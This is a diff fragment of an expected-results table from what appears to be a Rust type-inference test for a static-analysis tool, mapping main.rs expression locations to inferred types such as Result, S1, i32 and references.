main.rs:1185:30:1185:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1185:30:1185:34 | input | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1185:30:1185:34 | input | T | main.rs:1185:20:1185:27 | T | -| main.rs:1185:69:1192:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1185:69:1192:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1185:69:1192:5 | { ... } | T | main.rs:1185:20:1185:27 | T | -| main.rs:1186:13:1186:17 | value | | main.rs:1185:20:1185:27 | T | -| main.rs:1186:21:1186:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1186:21:1186:25 | input | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1186:21:1186:25 | input | T | main.rs:1185:20:1185:27 | T | -| main.rs:1186:21:1186:26 | TryExpr | | main.rs:1185:20:1185:27 | T | -| main.rs:1187:22:1187:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1187:22:1187:38 | ...::Ok(...) | T | main.rs:1185:20:1185:27 | T | -| main.rs:1187:22:1190:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1187:33:1187:37 | value | | main.rs:1185:20:1185:27 | T | -| main.rs:1187:53:1190:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1187:53:1190:9 | { ... } | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1188:22:1188:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1191:9:1191:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1191:9:1191:23 | ...::Err(...) | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1191:9:1191:23 | ...::Err(...) | T | main.rs:1185:20:1185:27 | T | -| main.rs:1191:21:1191:22 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1195:37:1195:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1195:37:1195:52 | try_same_error(...) | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1195:37:1195:52 | try_same_error(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1196:22:1196:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1199:37:1199:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1199:37:1199:55 | try_convert_error(...) | E | main.rs:1160:5:1161:14 | S2 | -| main.rs:1199:37:1199:55 | try_convert_error(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1200:22:1200:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1203:37:1203:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1203:37:1203:49 | try_chained(...) | E | main.rs:1160:5:1161:14 | S2 | -| main.rs:1203:37:1203:49 | try_chained(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1204:22:1204:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1207:37:1207:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1207:37:1207:63 | try_complex(...) | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1207:37:1207:63 | try_complex(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1207:49:1207:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1207:49:1207:62 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | -| main.rs:1207:49:1207:62 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1207:60:1207:61 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1208:22:1208:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1215:13:1215:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1215:22:1215:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1216:13:1216:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1216:17:1216:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1217:17:1217:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1217:21:1217:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1218:13:1218:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1218:17:1218:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1218:17:1218:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1219:13:1219:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1219:17:1219:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:1220:13:1220:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1220:21:1220:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1221:13:1221:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1221:17:1221:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:1222:13:1222:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1222:17:1222:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1223:13:1223:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1223:17:1223:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1229:13:1229:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1229:17:1229:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1229:17:1229:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1229:25:1229:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1230:13:1230:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1230:17:1230:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1230:17:1230:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1230:25:1230:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1232:13:1232:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1233:12:1233:13 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1233:18:1233:19 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1234:17:1234:17 | z | | file://:0:0:0:0 | () | -| main.rs:1234:21:1234:27 | (...) | | file://:0:0:0:0 | () | -| main.rs:1234:22:1234:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1234:22:1234:26 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1234:26:1234:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1236:13:1236:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1236:13:1236:17 | ... = ... | | file://:0:0:0:0 | () | -| main.rs:1236:17:1236:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1238:9:1238:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1244:5:1244:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1245:5:1245:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1245:20:1245:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1245:41:1245:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1115:13:1115:16 | self | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | +| main.rs:1115:13:1115:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:1115:13:1115:22 | self.foo() | &T | main.rs:1109:5:1117:5 | Self [trait MyTrait] | +| main.rs:1123:16:1123:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1123:16:1123:20 | SelfParam | &T | main.rs:1119:5:1119:20 | MyStruct | +| main.rs:1123:36:1125:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1123:36:1125:9 | { ... } | &T | main.rs:1119:5:1119:20 | MyStruct | +| main.rs:1124:13:1124:16 | self | | file://:0:0:0:0 | & | +| main.rs:1124:13:1124:16 | self | &T | main.rs:1119:5:1119:20 | MyStruct | +| main.rs:1129:13:1129:13 | x | | main.rs:1119:5:1119:20 | MyStruct | +| main.rs:1129:17:1129:24 | MyStruct | | main.rs:1119:5:1119:20 | MyStruct | +| main.rs:1130:9:1130:9 | x | | main.rs:1119:5:1119:20 | MyStruct | +| main.rs:1130:9:1130:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:1130:9:1130:15 | x.bar() | &T | main.rs:1119:5:1119:20 | MyStruct | +| main.rs:1140:16:1140:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1140:16:1140:20 | SelfParam | &T | main.rs:1137:5:1137:26 | MyStruct | +| main.rs:1140:16:1140:20 | SelfParam | &T.T | main.rs:1139:10:1139:10 | T | +| main.rs:1140:32:1142:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1140:32:1142:9 | { ... } | &T | main.rs:1137:5:1137:26 | MyStruct | +| main.rs:1140:32:1142:9 | { ... } | &T.T | main.rs:1139:10:1139:10 | T | +| main.rs:1141:13:1141:16 | self | | file://:0:0:0:0 | & | +| main.rs:1141:13:1141:16 | self | &T | main.rs:1137:5:1137:26 | MyStruct | +| main.rs:1141:13:1141:16 | self | &T.T | main.rs:1139:10:1139:10 | T | +| main.rs:1146:13:1146:13 | x | | main.rs:1137:5:1137:26 | MyStruct | +| main.rs:1146:13:1146:13 | x | T | main.rs:1135:5:1135:13 | S | +| main.rs:1146:17:1146:27 | MyStruct(...) | | main.rs:1137:5:1137:26 | MyStruct | +| main.rs:1146:17:1146:27 | MyStruct(...) | T | main.rs:1135:5:1135:13 | S | +| main.rs:1146:26:1146:26 | S | | main.rs:1135:5:1135:13 | S | +| main.rs:1147:9:1147:9 | x | | main.rs:1137:5:1137:26 | MyStruct | +| main.rs:1147:9:1147:9 | x | T | main.rs:1135:5:1135:13 | S | +| main.rs:1147:9:1147:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:1147:9:1147:15 | x.foo() | &T | main.rs:1137:5:1137:26 | MyStruct | +| main.rs:1147:9:1147:15 | x.foo() | &T.T | main.rs:1135:5:1135:13 | S | +| main.rs:1155:15:1155:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1155:15:1155:19 | SelfParam | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1155:31:1157:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1155:31:1157:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1156:13:1156:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1156:13:1156:19 | &... | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1156:14:1156:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1156:14:1156:19 | &... | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1156:15:1156:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1156:15:1156:19 | &self | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1156:16:1156:19 | self | | file://:0:0:0:0 | & | +| main.rs:1156:16:1156:19 | self | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1159:15:1159:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1159:15:1159:25 | SelfParam | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1159:37:1161:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1159:37:1161:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1160:13:1160:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1160:13:1160:19 | &... | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1160:14:1160:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1160:14:1160:19 | &... | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1160:15:1160:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1160:15:1160:19 | &self | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1160:16:1160:19 | self | | file://:0:0:0:0 | & | +| main.rs:1160:16:1160:19 | self | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1163:15:1163:15 | x | | file://:0:0:0:0 | & | +| main.rs:1163:15:1163:15 | x | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1163:34:1165:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1163:34:1165:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1164:13:1164:13 | x | | file://:0:0:0:0 | & | +| main.rs:1164:13:1164:13 | x | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1167:15:1167:15 | x | | file://:0:0:0:0 | & | +| main.rs:1167:15:1167:15 | x | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1167:34:1169:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1167:34:1169:9 | { ... } | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1168:13:1168:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1168:13:1168:16 | &... | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1168:14:1168:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1168:14:1168:16 | &... | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1168:15:1168:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1168:15:1168:16 | &x | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1168:16:1168:16 | x | | file://:0:0:0:0 | & | +| main.rs:1168:16:1168:16 | x | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1173:13:1173:13 | x | | main.rs:1152:5:1152:13 | S | +| main.rs:1173:17:1173:20 | S {...} | | main.rs:1152:5:1152:13 | S | +| main.rs:1174:9:1174:9 | x | | main.rs:1152:5:1152:13 | S | +| main.rs:1174:9:1174:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1174:9:1174:14 | x.f1() | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1175:9:1175:9 | x | | main.rs:1152:5:1152:13 | S | +| main.rs:1175:9:1175:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1175:9:1175:14 | x.f2() | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1176:9:1176:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1176:9:1176:17 | ...::f3(...) | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1176:15:1176:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1176:15:1176:16 | &x | &T | main.rs:1152:5:1152:13 | S | +| main.rs:1176:16:1176:16 | x | | main.rs:1152:5:1152:13 | S | +| main.rs:1190:43:1193:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1190:43:1193:5 | { ... } | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1190:43:1193:5 | { ... } | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1191:13:1191:13 | x | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1191:17:1191:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1191:17:1191:30 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1191:17:1191:31 | TryExpr | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1191:28:1191:29 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1192:9:1192:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1192:9:1192:22 | ...::Ok(...) | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1192:9:1192:22 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1192:20:1192:21 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1196:46:1200:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1196:46:1200:5 | { ... } | E | main.rs:1186:5:1187:14 | S2 | +| main.rs:1196:46:1200:5 | { ... } | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1197:13:1197:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1197:13:1197:13 | x | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1197:17:1197:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1197:17:1197:30 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1197:28:1197:29 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1198:13:1198:13 | y | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1198:17:1198:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1198:17:1198:17 | x | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1198:17:1198:18 | TryExpr | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1199:9:1199:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1199:9:1199:22 | ...::Ok(...) | E | main.rs:1186:5:1187:14 | S2 | +| main.rs:1199:9:1199:22 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1199:20:1199:21 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1203:40:1208:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1203:40:1208:5 | { ... } | E | main.rs:1186:5:1187:14 | S2 | +| main.rs:1203:40:1208:5 | { ... } | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1204:13:1204:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:13:1204:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:13:1204:13 | x | T.T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1204:17:1204:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:17:1204:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:17:1204:42 | ...::Ok(...) | T.T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1204:28:1204:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:28:1204:41 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1204:39:1204:40 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1206:17:1206:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1206:17:1206:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1206:17:1206:17 | x | T.T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1206:17:1206:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1206:17:1206:18 | TryExpr | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1206:17:1206:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1207:9:1207:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1207:9:1207:22 | ...::Ok(...) | E | main.rs:1186:5:1187:14 | S2 | +| main.rs:1207:9:1207:22 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1207:20:1207:21 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1211:30:1211:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:30:1211:34 | input | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1211:30:1211:34 | input | T | main.rs:1211:20:1211:27 | T | +| main.rs:1211:69:1218:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:69:1218:5 | { ... } | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1211:69:1218:5 | { ... } | T | main.rs:1211:20:1211:27 | T | +| main.rs:1212:13:1212:17 | value | | main.rs:1211:20:1211:27 | T | +| main.rs:1212:21:1212:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1212:21:1212:25 | input | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1212:21:1212:25 | input | T | main.rs:1211:20:1211:27 | T | +| main.rs:1212:21:1212:26 | TryExpr | | main.rs:1211:20:1211:27 | T | +| main.rs:1213:22:1213:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1213:22:1213:38 | ...::Ok(...) | T | main.rs:1211:20:1211:27 | T | +| main.rs:1213:22:1216:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1213:33:1213:37 | value | | main.rs:1211:20:1211:27 | T | +| main.rs:1213:53:1216:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1213:53:1216:9 | { ... } | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1214:22:1214:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1215:13:1215:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1215:13:1215:34 | ...::Ok::<...>(...) | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1217:9:1217:23 | ...::Err(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1217:9:1217:23 | ...::Err(...) | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1217:9:1217:23 | ...::Err(...) | T | main.rs:1211:20:1211:27 | T | +| main.rs:1217:21:1217:22 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1221:37:1221:52 | try_same_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1221:37:1221:52 | try_same_error(...) | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1221:37:1221:52 | try_same_error(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1222:22:1222:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1225:37:1225:55 | try_convert_error(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1225:37:1225:55 | try_convert_error(...) | E | main.rs:1186:5:1187:14 | S2 | +| main.rs:1225:37:1225:55 | try_convert_error(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1226:22:1226:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1229:37:1229:49 | try_chained(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1229:37:1229:49 | try_chained(...) | E | main.rs:1186:5:1187:14 | S2 | +| main.rs:1229:37:1229:49 | try_chained(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1230:22:1230:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1233:37:1233:63 | try_complex(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1233:37:1233:63 | try_complex(...) | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1233:37:1233:63 | try_complex(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1233:49:1233:62 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1233:49:1233:62 | ...::Ok(...) | E | main.rs:1183:5:1184:14 | S1 | +| main.rs:1233:49:1233:62 | ...::Ok(...) | T | main.rs:1183:5:1184:14 | S1 | +| main.rs:1233:60:1233:61 | S1 | | main.rs:1183:5:1184:14 | S1 | +| main.rs:1234:22:1234:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1241:13:1241:13 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1241:22:1241:22 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1242:13:1242:13 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1242:17:1242:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1243:17:1243:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1243:21:1243:21 | y | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1244:13:1244:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1244:17:1244:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1244:17:1244:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1245:13:1245:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | +| main.rs:1245:17:1245:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | +| main.rs:1246:13:1246:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1246:21:1246:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1247:13:1247:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | +| main.rs:1247:17:1247:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | +| main.rs:1248:13:1248:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1248:17:1248:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1249:13:1249:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1249:17:1249:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1255:13:1255:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1255:17:1255:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1255:17:1255:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1255:25:1255:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1256:13:1256:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1256:17:1256:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1256:17:1256:29 | ... \|\| ... | | 